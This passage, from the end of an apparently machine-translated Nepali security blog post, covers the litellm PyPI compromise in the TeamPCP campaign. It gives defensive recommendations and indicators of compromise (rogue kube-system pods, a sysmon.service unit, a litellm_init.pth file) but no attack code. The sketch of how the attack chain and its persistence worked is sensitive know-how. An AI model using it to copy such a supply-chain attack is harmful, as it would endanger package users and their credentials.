aquasecurity/trivy-action@<commit-sha>सट्टामा@latest, सम्झौता गरिएको कार्य कार्यान्वयन हुने थिएन। - छोटो अवधिको, स्कोप गरिएको प्रकाशन टोकनहरू प्रयोग गर्नुहोस्। PyPI ले विश्वसनीय प्रकाशकहरू (OIDC-आधारित) र स्कोप गरिएको API टोकनहरूलाई समर्थन गर्दछ। exfiltrated
PYPI_PUBLISHटोकनमा लामो समयसम्म, अप्रतिबन्धित प्रकाशन पहुँच हुनुहुँदैन थियो। - PyPI मा दुई-कारक प्रमाणीकरण सक्षम गर्नुहोस्। सबै मर्मतकर्ताहरूको लागि 2FA आवश्यक छ र सम्भव भएसम्म हार्डवेयर सुरक्षा कुञ्जीहरू प्रयोग गर्नुहोस्।
- प्याकेजहरूमा हस्ताक्षर गर्नुहोस्। सिगस्टोर/पीईपी ७४० प्रमाणीकरणले उपभोक्ताहरूलाई प्याकेज अपेक्षित रूपमा निर्माण गरिएको हो भनी प्रमाणित गर्न अनुमति दिन्छ। CI/CD pipeline, चोरीको टोकन भएको आक्रमणकारीद्वारा होइन।
प्लेटफर्म अपरेटरहरूको लागि (PyPI, npm, GitHub)
- असामान्य प्रकाशन ढाँचाहरू पत्ता लगाउनुहोस्। सामान्य भन्दा फरक आईपी वा टोकनबाट १३ मिनेटको फरकमा प्रकाशित दुई नयाँ संस्करणहरूले प्याकेज स्थापना गर्न योग्य हुनुभन्दा पहिले समीक्षाको लागि होल्ड-फर-समीक्षा वा स्वचालित स्क्यानिङ ट्रिगर गर्नुपर्छ।
- विश्वसनीय प्रकाशकहरूको अपनाउने प्रक्रियालाई तीव्र बनाउनुहोस्। OIDC-आधारित प्रकाशनले प्याकेजहरूलाई विशिष्ट भण्डारहरू र कार्यप्रवाहहरूसँग जोड्छ, जसले गर्दा चोरी भएका टोकनहरू मूलभन्दा बाहिर बेकार हुन्छन्। CI/CD प्रसंग
- प्रकाशन-समय मालवेयर स्क्यानिङ लागू गर्नुहोस्। proxy_server.py मा रहेको base64-डिकोड गरिएको पेलोड प्रकाशन समयमा स्थिर विश्लेषणद्वारा पत्ता लगाउन सकिनेछ।
पारिस्थितिक प्रणालीको लागि
- सुरक्षा उपकरणहरूलाई महत्वपूर्ण पूर्वाधारको रूपमा व्यवहार गर्नुहोस्। Trivy र Checkmarx KICS लाखौंले प्रयोग गर्छन् pipelines. तिनीहरूको GitHub कार्यहरू तिनीहरूले स्क्यान गर्ने प्याकेजहरू जस्तै कठोरताका साथ हस्ताक्षर, पिन र निगरानी गरिनुपर्छ।
- रनटाइम पत्ता लगाउने काममा लगानी गर्नुहोस्। स्थिर विश्लेषणले मात्र हरेक अस्पष्टता प्रविधिलाई समात्न सक्दैन। प्याकेज स्थापनाको रनटाइम अनुगमन hooks, अप्रत्याशित नेटवर्क जडानहरू, र शंकास्पद फाइल पहुँच ढाँचाहरूले गहन रूपमा सुरक्षा प्रदान गर्दछ।
- खतराको जानकारी छिटो सेयर गर्नुहोस्। छिटो क्रस-विक्रेता समन्वयको साथ लिटेल्मको लागि ५.५-घण्टा एक्सपोजर विन्डो छोटो हुन सक्थ्यो। Xygeni MEW, Socket, र Snyk जस्ता स्वचालित स्क्यानिङ सेवाहरूले विसंगति पत्ता लगाए - अवरोध मानव पुष्टिकरण र रजिस्ट्री प्रतिक्रिया समय हो।
निष्कर्ष
TeamPCP अभियान एक महत्वपूर्ण क्षण हो software supply chain security। पहिले सुरक्षा स्क्यानरहरूलाई सम्झौता गरेर र तिनीहरूलाई उच्च-मूल्यवान एआई पूर्वाधारको लागि पाइलाको रूपमा प्रयोग गरेर, आक्रमणकारीहरूले प्रदर्शन गरे कि आपूर्ति शृङ्खला यसको सबैभन्दा कमजोर संक्रमणकालीन निर्भरता जत्तिकै बलियो छ, र त्यो निर्भरता तपाईंलाई सुरक्षित राख्नको लागि विश्वास गर्ने सुरक्षा उपकरण हुन सक्छ।
लिटेल्म सम्झौताले विशेष गरी एआई पूर्वाधारमा बढ्दो जोखिमलाई हाइलाइट गर्दछ। एलएलएम प्रोक्सी गेटवेहरू बन्दै जाँदा standard को लागि ढाँचा enterprise एआई डिप्लोयमेन्ट, तिनीहरूले एपीआई कुञ्जीहरू, क्लाउड क्रेडेन्शियलहरू, र संवेदनशील डेटामा पहुँचलाई एउटै कम्पोनेन्टमा केन्द्रित गर्छन्। त्यो कम्पोनेन्टलाई सम्झौता गर्नु सम्पूर्ण एआई स्ट्याकको लागि एउटा कंकाल कुञ्जी हो।
५.५-घण्टाको विन्डोमा litellm १.८२.७ वा १.८२.८ स्थापना गर्ने संस्थाहरूले यसलाई पूर्ण प्रमाण सम्झौताको रूपमा व्यवहार गर्नुपर्छ: प्रभावित प्रणालीहरूमा सबै गोप्यहरू घुमाउनुहोस्, Kubernetes क्लस्टरहरूको लागि लेखा परीक्षण गर्नुहोस्। node-setup-* पोड इन kube-system, कुनै पनि हटाउनुहोस् sysmon.service systemd एकाइहरू, र जाँच गर्नुहोस् litellm_init.pth पाइथनमा site-packages/ निर्देशिकाहरू। आधिकारिक डकर छविका प्रयोगकर्ताहरू (ghcr.io/berriai/litellm) प्रभावित भएनन्, किनकि छविले यसको निर्भरताहरू पिन गर्यो र एक्सपोजर विन्डोको समयमा पुनर्निर्माण गरिएको थिएन।
लेखक को बारे मा
सह-संस्थापक र CTO
लुइस रोड्रिगेज Xygeni Security मा सह-संस्थापक र CTO हुनुहुन्छ। अनुप्रयोग सुरक्षामा २०+ वर्षदेखि काम गर्दै, उहाँ AppSec सुरक्षा र उन्नत कोड-विश्लेषण क्षमताहरूमा ध्यान केन्द्रित गर्नुहुन्छ जसले टोलीहरूलाई वास्तविक डेलिभरी जोखिम कम गर्न मद्दत गर्दछ।




